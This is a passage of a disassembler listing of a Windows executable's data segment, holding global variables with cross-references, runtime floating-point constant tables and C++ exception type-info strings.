dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dword_4B5248 dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) 